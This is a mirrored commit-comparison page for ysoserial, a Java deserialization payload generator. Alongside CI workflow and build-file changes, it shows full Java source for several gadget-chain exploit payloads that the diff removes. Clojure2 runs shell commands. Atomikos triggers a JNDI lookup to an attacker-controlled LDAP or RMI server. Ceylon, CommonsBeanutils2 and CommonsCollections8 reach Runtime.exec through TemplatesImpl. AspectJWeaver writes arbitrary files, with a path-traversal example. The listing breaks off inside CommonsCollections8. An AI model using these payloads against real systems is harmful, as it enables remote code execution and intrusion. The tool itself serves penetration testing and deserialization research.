mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-27 01:11:53 +08:00
Compare commits
1
Commits
gh-actions
..
v0.0.6
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
51110f9b71 |
@@ -1,14 +0,0 @@
|
||||
Running with [nektos/act](nektos/act)
|
||||
=====================================
|
||||
Requires `HEAD` version of `act`
|
||||
```
|
||||
$ act --version
|
||||
act version HEAD-4d71071
|
||||
```
|
||||
|
||||
`act -r --artifact-server-path /tmp/ -P ubuntu-latest=ghcr.io/catthehacker/ubuntu:full-latest`
|
||||
|
||||
Known issues:
|
||||
- https://github.com/nektos/act/issues/910
|
||||
- https://github.com/nektos/act/issues/973
|
||||
- https://github.com/nektos/act/issues/284
|
||||
@@ -1,19 +0,0 @@
|
||||
name: publish jar
|
||||
on: [push]
|
||||
|
||||
jobs:
|
||||
publish:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: read
|
||||
packages: write
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- uses: actions/setup-java@v3
|
||||
with:
|
||||
java-version: '8'
|
||||
distribution: 'adopt'
|
||||
- name: Publish package
|
||||
run: mvn -B clean deploy -DskipTests -DrepositoryId=github -Dversion=${GITHUB_REF_NAME}-SNAPSHOT
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
@@ -0,0 +1,40 @@
|
||||
name: publish jar
|
||||
on:
|
||||
push:
|
||||
tags:
|
||||
- "v*.*.*"
|
||||
permissions:
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
publish:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
packages: write
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- uses: actions/setup-java@v3
|
||||
with:
|
||||
java-version: '8'
|
||||
distribution: 'adopt'
|
||||
cache: 'maven'
|
||||
- name: Set version
|
||||
run: mvn versions:set -DnewVersion=${{ github.ref_name }}
|
||||
- name: Build jar
|
||||
run: mvn -B clean package -DskipTests
|
||||
# - name: publish maven jar
|
||||
# run: mvn -B deploy -DskipTests -DrepositoryId=github
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
|
||||
- name: Rename artifact
|
||||
run: mv target/ysoserial-${{ github.ref_name }}-all.jar target/ysoserial-all.jar
|
||||
|
||||
- name: Publish GitHub release
|
||||
uses: softprops/action-gh-release@v1
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
with:
|
||||
files: target/ysoserial-all.jar
|
||||
@@ -1,70 +0,0 @@
|
||||
import itertools
|
||||
import json
|
||||
import operator
|
||||
import re
|
||||
import sys
|
||||
|
||||
import subprocess
|
||||
|
||||
import pytablewriter
|
||||
|
||||
# try:
|
||||
# import pytablewriter
|
||||
# except:
|
||||
# subprocess.check_call(['pip', 'install', 'pytablewriter'])
|
||||
# import pytablewriter
|
||||
|
||||
def ver(v):
|
||||
return v.split(".", 1)[1] if v.startswith("1.") else v
|
||||
|
||||
def status(s):
|
||||
return ':green_circle:' if s == 'SUCCESS' else ':red_square:'
|
||||
|
||||
|
||||
if len(sys.argv) > 1:
|
||||
with open(sys.argv[1]) as f:
|
||||
data = [json.loads(line) for line in f.readlines()]
|
||||
else:
|
||||
data = [json.loads(line) for line in sys.stdin.readlines()]
|
||||
|
||||
for da in data:
|
||||
del da['out']
|
||||
|
||||
# print(repr(data))
|
||||
|
||||
GET_VER = operator.itemgetter('java.version')
|
||||
GET_PAY = operator.itemgetter('payload')
|
||||
|
||||
by_payload = {payload:
|
||||
{ver(version): list(o2)[0]['status']
|
||||
for version, o2 in itertools.groupby(sorted(o1, key=GET_VER), GET_VER)}
|
||||
for payload, o1 in itertools.groupby(sorted(data, key=GET_PAY), GET_PAY)}
|
||||
|
||||
by_version = {ver(version):
|
||||
{payload: list(o2)[0]['status']
|
||||
for payload, o2 in itertools.groupby(sorted(o1, key=GET_PAY), GET_PAY)}
|
||||
for version, o1 in itertools.groupby(sorted(data, key=GET_VER), GET_VER)}
|
||||
|
||||
sorted_ver = sorted(by_version.items(), key=lambda v: list(map(int, re.split(r'[._]', v[0]))))
|
||||
|
||||
ver_groups = [list(v for v, r in vers) for res, vers in itertools.groupby(sorted_ver, operator.itemgetter(1))]
|
||||
|
||||
ver_ranges = [[vs[0], vs[-1]] for vs in ver_groups]
|
||||
|
||||
|
||||
# print('\n'.join(repr(v) for v in ver_groups))
|
||||
#
|
||||
# print(repr(by_payload))
|
||||
# print(repr(by_version))
|
||||
|
||||
vers = list(list(by_payload.items())[0][1].keys())
|
||||
|
||||
# print(vers)
|
||||
|
||||
md = pytablewriter.MarkdownTableWriter()
|
||||
md.table_name = ''
|
||||
md.header_list = [''] + ['{} - {}'.format(vs, ve) if vs != ve else vs for vs, ve in ver_ranges]
|
||||
md.value_matrix = [[p] + [status(o[vs]) for vs, ve in ver_ranges] for p, o in sorted(by_payload.items())]
|
||||
md.margin = 1
|
||||
|
||||
md.write_table()
|
||||
@@ -1,121 +0,0 @@
|
||||
# https://michaelheap.com/dynamic-matrix-generation-github-actions/
|
||||
|
||||
name: test
|
||||
on: [push]
|
||||
jobs:
|
||||
# TODO cache build output by commit
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- if: ${{ env.ACT }} # act workaround
|
||||
run: sudo chown -R runner:runner /var/run/act
|
||||
|
||||
- uses: actions/checkout@v2
|
||||
|
||||
- if: ${{ env.ACT }} # act workaround
|
||||
run: sudo chown -R runner:runner .
|
||||
|
||||
- uses: actions/setup-java@v2
|
||||
with:
|
||||
java-version: 8
|
||||
distribution: adopt
|
||||
|
||||
- if: ${{ !env.ACT }} # use -r with act
|
||||
uses: actions/cache@v2
|
||||
with:
|
||||
path: ~/.m2/repository
|
||||
key: ${{ runner.os }}-maven-${{ hashFiles('**/pom.xml') }}
|
||||
restore-keys: |
|
||||
${{ runner.os }}-maven-
|
||||
|
||||
- run: mvn -B clean package -DskipTests
|
||||
|
||||
- uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: jar
|
||||
path: target/ysoserial-*-all.jar
|
||||
|
||||
set-matrix:
|
||||
runs-on: ubuntu-latest
|
||||
container: dwdraju/alpine-curl-jq
|
||||
steps:
|
||||
- id: get-versions
|
||||
run: |
|
||||
URL="https://hub.docker.com/v2/repositories/vulhub/java/tags/?page_size=100"
|
||||
VERSIONS=$(curl -s $URL "$URL&page=2" | jq -rc '[[.results[].name] | _nwise(1) | join(" ")]')
|
||||
echo "::set-output name=versions::$VERSIONS"
|
||||
outputs:
|
||||
versions: ${{ steps.get-versions.outputs.versions }}
|
||||
|
||||
run-java:
|
||||
needs:
|
||||
- set-matrix
|
||||
- build
|
||||
strategy:
|
||||
matrix:
|
||||
version: ${{ fromJson(needs.set-matrix.outputs.versions) }} # broken in act
|
||||
# version: [7u21-jdk 7u25-jdk, 7u40-jdk]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/download-artifact@v3
|
||||
with:
|
||||
name: jar
|
||||
path: jar
|
||||
- run: mv jar/ysoserial-*-all.jar jar/ysoserial.jar
|
||||
- run: |
|
||||
touch out.txt
|
||||
for v in ${{ matrix.version }}; do
|
||||
echo running $v
|
||||
docker pull vulhub/java:$v
|
||||
docker run --rm -v $(pwd):/app vulhub/java:$v java -cp '/app/jar/ysoserial.jar' -DforceTests=true ysoserial.test.payloads.PayloadsTest >> out.txt
|
||||
done
|
||||
- uses: actions/upload-artifact@v3
|
||||
if: always()
|
||||
with:
|
||||
name: out-${{ matrix.version }}
|
||||
path: out.txt
|
||||
|
||||
analyze:
|
||||
needs: run-java
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- uses: actions/download-artifact@v3
|
||||
with:
|
||||
path: artifacts
|
||||
- run: cat artifacts/out*/*.txt > out.txt
|
||||
- run: pip install pytablewriter
|
||||
- run: cat out.txt | python .github/workflows/results.py > matrix.md
|
||||
- uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: out
|
||||
path: out.txt
|
||||
- uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: matrix
|
||||
path: matrix.md
|
||||
|
||||
update-wiki:
|
||||
needs: analyze
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
with:
|
||||
repository: ${{github.repository}}.wiki
|
||||
- uses: actions/download-artifact@v3
|
||||
with:
|
||||
name: matrix
|
||||
- uses: actions/download-artifact@v3
|
||||
with:
|
||||
name: out
|
||||
- run: |
|
||||
git config --local user.email "[email protected]"
|
||||
git config --local user.name "GitHub Action"
|
||||
git add matrix.md
|
||||
git add out.txt
|
||||
git commit -m "Add changes"
|
||||
- uses: ad-m/github-push-action@master
|
||||
with:
|
||||
repository: ${{github.repository}}.wiki
|
||||
branch: master
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
@@ -43,13 +43,14 @@ are not responsible or liable for misuse of the software. Use responsibly.
|
||||
```shell
|
||||
$ java -jar ysoserial.jar
|
||||
Y SO SERIAL?
|
||||
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
|
||||
Usage: java -jar ysoserial.jar [payload] '[command]'
|
||||
Available payload types:
|
||||
Payload Authors Dependencies
|
||||
------- ------- ------------
|
||||
Atomikos @pwntester, @sciccone transactions-osgi:4.0.6, jta:1.1
|
||||
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
|
||||
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
|
||||
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
|
||||
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
|
||||
Clojure @JackOfMostTrades clojure:1.8.0
|
||||
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
|
||||
CommonsCollections1 @frohoff commons-collections:3.1
|
||||
@@ -77,12 +78,9 @@ Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
|
||||
ROME @mbechler rome:1.0
|
||||
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
|
||||
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
|
||||
SpringJta @zerothoughts, @sciccone spring-tx:5.1.7.RELEASE, spring-context:5.1.7.RELEASE, jta:1.1
|
||||
Struts2JasperReports @sciccone struts2-core:2.5.20, struts2-jasperreports-plugin:2.5.20
|
||||
URLDNS @gebl
|
||||
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
|
||||
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
|
||||
|
||||
```
|
||||
|
||||
## Examples
|
||||
|
||||
@@ -102,6 +102,7 @@
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
|
||||
|
||||
<!-- non-gadget dependencies -->
|
||||
|
||||
<dependency>
|
||||
@@ -325,47 +326,6 @@
|
||||
<artifactId>vaadin-server</artifactId>
|
||||
<version>7.7.14</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.scala-lang</groupId>
|
||||
<artifactId>scala-library</artifactId>
|
||||
<version>2.12.6</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.atomikos</groupId>
|
||||
<artifactId>transactions-jta</artifactId>
|
||||
<version>4.0.6</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.atomikos</groupId>
|
||||
<artifactId>transactions-api</artifactId>
|
||||
<version>4.0.6</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>com.atomikos</groupId>
|
||||
<artifactId>atomikos-util</artifactId>
|
||||
<version>4.0.6</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework</groupId>
|
||||
<artifactId>spring-tx</artifactId>
|
||||
<version>5.1.7.RELEASE</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.springframework</groupId>
|
||||
<artifactId>spring-context</artifactId>
|
||||
<version>5.1.7.RELEASE</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.apache.struts</groupId>
|
||||
<artifactId>struts2-core</artifactId>
|
||||
<version>2.5.20</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.apache.struts</groupId>
|
||||
<artifactId>struts2-jasperreports-plugin</artifactId>
|
||||
<version>2.5.20</version>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>org.aspectj</groupId>
|
||||
<artifactId>aspectjweaver</artifactId>
|
||||
@@ -376,11 +336,6 @@
|
||||
<artifactId>click-nodeps</artifactId>
|
||||
<version>2.3.0</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>org.ceylon-lang</groupId>
|
||||
<artifactId>ceylon.language</artifactId>
|
||||
<version>1.3.3</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
<profiles>
|
||||
|
||||
@@ -34,7 +34,7 @@ public class GeneratePayload {
|
||||
final Object object = payload.getObject(command);
|
||||
PrintStream out = System.out;
|
||||
Serializer.serialize(object, out);
|
||||
ObjectPayload.Utils.postSerializeRelease(payload, object);
|
||||
ObjectPayload.Utils.releasePayload(payload, object);
|
||||
} catch (Throwable e) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
e.printStackTrace();
|
||||
|
||||
@@ -1,6 +1,11 @@
|
||||
package ysoserial;
|
||||
|
||||
import java.util.*;
|
||||
import org.apache.commons.lang.StringUtils;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.Comparator;
|
||||
import java.util.LinkedList;
|
||||
import java.util.List;
|
||||
|
||||
public class Strings {
|
||||
public static String join(Iterable<String> strings, String sep, String prefix, String suffix) {
|
||||
|
||||
@@ -124,7 +124,7 @@ public class JBoss {
|
||||
}
|
||||
|
||||
doRun(u, payloadObject, username, password);
|
||||
Utils.postSerializeRelease(args[1], payloadObject);
|
||||
Utils.releasePayload(args[1], payloadObject);
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -49,7 +49,7 @@ public class JRMPClient {
|
||||
catch ( Exception e ) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
Utils.postSerializeRelease(args[2], payloadObject);
|
||||
Utils.releasePayload(args[2], payloadObject);
|
||||
}
|
||||
|
||||
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
|
||||
@@ -95,7 +95,6 @@ public class JRMPClient {
|
||||
}
|
||||
}
|
||||
|
||||
// based on http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/sun/rmi/server/MarshalOutputStream.java
|
||||
static final class MarshalOutputStream extends ObjectOutputStream {
|
||||
|
||||
|
||||
|
||||
@@ -122,7 +122,7 @@ public class JRMPListener implements Runnable {
|
||||
System.err.println("Listener error");
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
Utils.postSerializeRelease(args[1], payloadObject);
|
||||
Utils.releasePayload(args[1], payloadObject);
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -71,7 +71,7 @@ public class JSF {
|
||||
catch ( Exception e ) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
Utils.postSerializeRelease(args[1], payloadObject);
|
||||
Utils.releasePayload(args[1], payloadObject);
|
||||
|
||||
}
|
||||
|
||||
|
||||
@@ -67,7 +67,7 @@ public class JenkinsCLI {
|
||||
}
|
||||
}
|
||||
}
|
||||
Utils.postSerializeRelease(args[1], payloadObject);
|
||||
Utils.releasePayload(args[1], payloadObject);
|
||||
}
|
||||
|
||||
public static Callable<?, ?> getPropertyCallable ( final Object prop )
|
||||
|
||||
@@ -196,7 +196,7 @@ public class JenkinsListener {
|
||||
final Object object = payload.getObject(payloadArg);
|
||||
objOut.writeObject(object);
|
||||
os.flush();
|
||||
ObjectPayload.Utils.postSerializeRelease(payload, object);
|
||||
ObjectPayload.Utils.releasePayload(payload, object);
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
e.printStackTrace(System.err);
|
||||
|
||||
@@ -7,6 +7,7 @@ import java.rmi.registry.Registry;
|
||||
import java.util.Random;
|
||||
|
||||
import hudson.remoting.Channel;
|
||||
import ysoserial.exploit.JRMPListener;
|
||||
import ysoserial.payloads.JRMPClient;
|
||||
import ysoserial.payloads.ObjectPayload.Utils;
|
||||
|
||||
@@ -74,6 +75,6 @@ public class JenkinsReverse {
|
||||
}
|
||||
}
|
||||
}
|
||||
Utils.postSerializeRelease(args[2], payloadObject);
|
||||
Utils.releasePayload(args[2], payloadObject);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -78,7 +78,7 @@ public class RMIRegistryExploit {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Utils.postSerializeRelease(payloadObj, payload);
|
||||
Utils.releasePayload(payloadObj, payload);
|
||||
return null;
|
||||
}});
|
||||
}
|
||||
|
||||
@@ -11,7 +11,6 @@ import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
@@ -39,7 +38,7 @@ java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="
|
||||
More information:
|
||||
https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
|
||||
*/
|
||||
@PayloadTest(harness="ysoserial.test.payloads.SimpleFileWriteTest")
|
||||
@PayloadTest(skip="non RCE")
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
|
||||
@Authors({ Authors.JANG })
|
||||
@@ -53,14 +52,13 @@ public class AspectJWeaver implements ObjectPayload<Serializable> {
|
||||
}
|
||||
String[] parts = command.split(";");
|
||||
String filename = parts[0];
|
||||
File file = new File(filename);
|
||||
byte[] content = Base64.decodeBase64(parts[1]);
|
||||
|
||||
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
|
||||
Object simpleCache = ctor.newInstance(file.getParent().toString(), 12);
|
||||
Object simpleCache = ctor.newInstance(".", 12);
|
||||
Transformer ct = new ConstantTransformer(content);
|
||||
Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
|
||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, file.getName());
|
||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
|
||||
HashSet map = new HashSet(1);
|
||||
map.add("foo");
|
||||
Field f = null;
|
||||
@@ -103,7 +101,7 @@ public class AspectJWeaver implements ObjectPayload<Serializable> {
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
args = new String[]{"..\\ahi.txt;YWhpaGloaQ=="};
|
||||
args = new String[]{"ahi.txt;YWhpaGloaQ=="};
|
||||
PayloadRunner.run(AspectJWeaver.class, args);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,77 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
|
||||
import com.atomikos.icatch.jta.RemoteClientUserTransaction;
|
||||
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
/**
|
||||
*
|
||||
* Gadget chain:
|
||||
*
|
||||
* javax/management/BadAttributeValueExpException.readObject()
|
||||
* com/atomikos/icatch/jta/RemoteClientUserTransaction.toString()
|
||||
* com/atomikos/icatch/jta/RemoteClientUserTransaction.checkSetup()
|
||||
* javax/naming/InitialContext.lookup()
|
||||
*
|
||||
*
|
||||
* Arguments:
|
||||
* - (rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>
|
||||
*
|
||||
*
|
||||
* @author pwntester
|
||||
* payload added by sciccone
|
||||
*
|
||||
* This gadget chain was also discovered by pwntester:
|
||||
* https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
|
||||
*
|
||||
*/
|
||||
@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest")
|
||||
@Dependencies( { "com.atomikos:transactions-jta:4.0.6", "com.atomikos:transactions-api:4.0.6", "com.atomikos:atomikos-util:4.0.6", "javax.transaction:jta:1.1" } )
|
||||
@Authors({ Authors.PWNTESTER, Authors.SCICCONE })
|
||||
public class Atomikos implements ObjectPayload<Object> {
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
// validate command
|
||||
int sep = command.lastIndexOf('/');
|
||||
if ( sep < 0 || (!command.startsWith("ldap") && !command.startsWith("rmi")))
|
||||
throw new IllegalArgumentException("Command format is: " + command
|
||||
+ "(rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>");
|
||||
|
||||
String url = command.substring(0, sep);
|
||||
String className = command.substring(sep + 1);
|
||||
|
||||
// create factory based on url
|
||||
String initialContextFactory;
|
||||
if (url.startsWith("ldap"))
|
||||
initialContextFactory = "com.sun.jndi.ldap.LdapCtxFactory";
|
||||
else
|
||||
initialContextFactory = "com.sun.jndi.rmi.registry.RegistryContextFactory";
|
||||
|
||||
// create object
|
||||
RemoteClientUserTransaction rcut = new RemoteClientUserTransaction();
|
||||
|
||||
// set values using reflection
|
||||
Reflections.setFieldValue(rcut, "initialContextFactory", initialContextFactory);
|
||||
Reflections.setFieldValue(rcut, "providerUrl", url);
|
||||
Reflections.setFieldValue(rcut, "userTransactionServerLookupName", className);
|
||||
|
||||
// create exception
|
||||
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
|
||||
Reflections.setFieldValue(exception, "val", rcut);
|
||||
|
||||
return exception;
|
||||
}
|
||||
|
||||
|
||||
public static void main ( final String[] args ) throws Exception {
|
||||
PayloadRunner.run(Atomikos.class, args);
|
||||
}
|
||||
}
|
||||
@@ -1,28 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import com.redhat.ceylon.compiler.java.language.SerializationProxy;
|
||||
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
|
||||
@Authors({ Authors.KULLRICH })
|
||||
@Dependencies({ "org.ceylon-lang:ceylon.language:1.3.3" })
|
||||
public class Ceylon implements ObjectPayload<Object>
|
||||
{
|
||||
|
||||
//
|
||||
// Probably the simplest deser gadget ever ;-)
|
||||
//
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object templates = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
return new SerializationProxy (templates, templates.getClass(), "getOutputProperties");
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
PayloadRunner.run(Ceylon.class, args);
|
||||
}
|
||||
}
|
||||
@@ -1,61 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import clojure.lang.Iterate;
|
||||
import ysoserial.Strings;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.Map;
|
||||
|
||||
/*
|
||||
Gadget chain:
|
||||
ObjectInputStream.readObject()
|
||||
HashMap.readObject()
|
||||
clojure.lang.ASeq.hashCode()
|
||||
clojure.lang.Iterate.first() -> null
|
||||
clojure.lang.Iterate.next() -> new Iterate(f, null, UNREALIZED_SEED)
|
||||
clojure.lang.Iterate.first() -> this.f.invoke(null)
|
||||
clojure.core$constantly$fn__4614.invoke()
|
||||
clojure.main$eval_opt.invoke()
|
||||
|
||||
Requires:
|
||||
org.clojure:clojure
|
||||
Versions since 1.8.0 are vulnerable; for earlier versions see Clojure.java.
|
||||
Versions up to 1.10.0-alpha4 are known to be vulnerable.
|
||||
*/
|
||||
@Dependencies({"org.clojure:clojure:1.8.0"})
|
||||
@Authors({ Authors.JACKOFMOSTTRADES })
|
||||
public class Clojure2 extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
|
||||
|
||||
public Map<?, ?> getObject(final String command) throws Exception {
|
||||
String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\"");
|
||||
|
||||
final String clojurePayload =
|
||||
String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd);
|
||||
|
||||
Iterate model = Reflections.createWithoutConstructor(Iterate.class);
|
||||
Object evilFn =
|
||||
new clojure.core$comp().invoke(
|
||||
new clojure.main$eval_opt(),
|
||||
new clojure.core$constantly().invoke(clojurePayload));
|
||||
|
||||
// Wrap the evil function with a composition that invokes the payload, then throws an exception. Otherwise Iterable()
|
||||
// ends up triggering the payload in an infinite loop as it tries to compute the hashCode.
|
||||
evilFn = new clojure.core$comp().invoke(
|
||||
new clojure.main$eval_opt(),
|
||||
new clojure.core$constantly().invoke("(throw (Exception. \"Some text\"))"),
|
||||
evilFn);
|
||||
|
||||
Reflections.setFieldValue(model, "f", evilFn);
|
||||
return Gadgets.makeMap(model, null);
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(Clojure2.class, args);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,44 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
// Origin Detective is PHITHON From
|
||||
// https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-logging:commons-logging:1.2"})
|
||||
@Authors({Authors.K4n5ha0})
|
||||
public class CommonsBeanutils2 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(final String command) throws Exception {
|
||||
final Object templates = Gadgets.createTemplatesImpl(command);
|
||||
// mock method name until armed
|
||||
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
|
||||
|
||||
// create queue with numbers and basic comparator
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||
// stub data for replacement later
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
|
||||
// switch method called by comparator
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
|
||||
// switch contents of queue
|
||||
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||
queueArray[0] = templates;
|
||||
queueArray[1] = templates;
|
||||
|
||||
return queue;
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(CommonsBeanutils2.class, args);
|
||||
}
|
||||
}
|
||||
@@ -1,56 +0,0 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
import org.apache.commons.collections4.bag.TreeBag;
|
||||
import org.apache.commons.collections4.comparators.TransformingComparator;
|
||||
import org.apache.commons.collections4.functors.InvokerTransformer;
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
/*
|
||||
Gadget chain:
|
||||
org.apache.commons.collections4.bag.TreeBag.readObject
|
||||
org.apache.commons.collections4.bag.AbstractMapBag.doReadObject
|
||||
java.util.TreeMap.put
|
||||
java.util.TreeMap.compare
|
||||
org.apache.commons.collections4.comparators.TransformingComparator.compare
|
||||
org.apache.commons.collections4.functors.InvokerTransformer.transform
|
||||
java.lang.reflect.Method.invoke
|
||||
sun.reflect.DelegatingMethodAccessorImpl.invoke
|
||||
sun.reflect.NativeMethodAccessorImpl.invoke
|
||||
sun.reflect.NativeMethodAccessorImpl.invoke0
|
||||
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer
|
||||
... (TemplatesImpl gadget)
|
||||
java.lang.Runtime.exec
|
||||
*/
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
|
||||
@Authors({ Authors.NAVALORENZO })
|
||||
public class CommonsCollections8 extends PayloadRunner implements ObjectPayload<TreeBag> {
|
||||
|
||||
public TreeBag getObject(final String command) throws Exception {
|
||||
Object templates = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
// setup harmless chain
|
||||
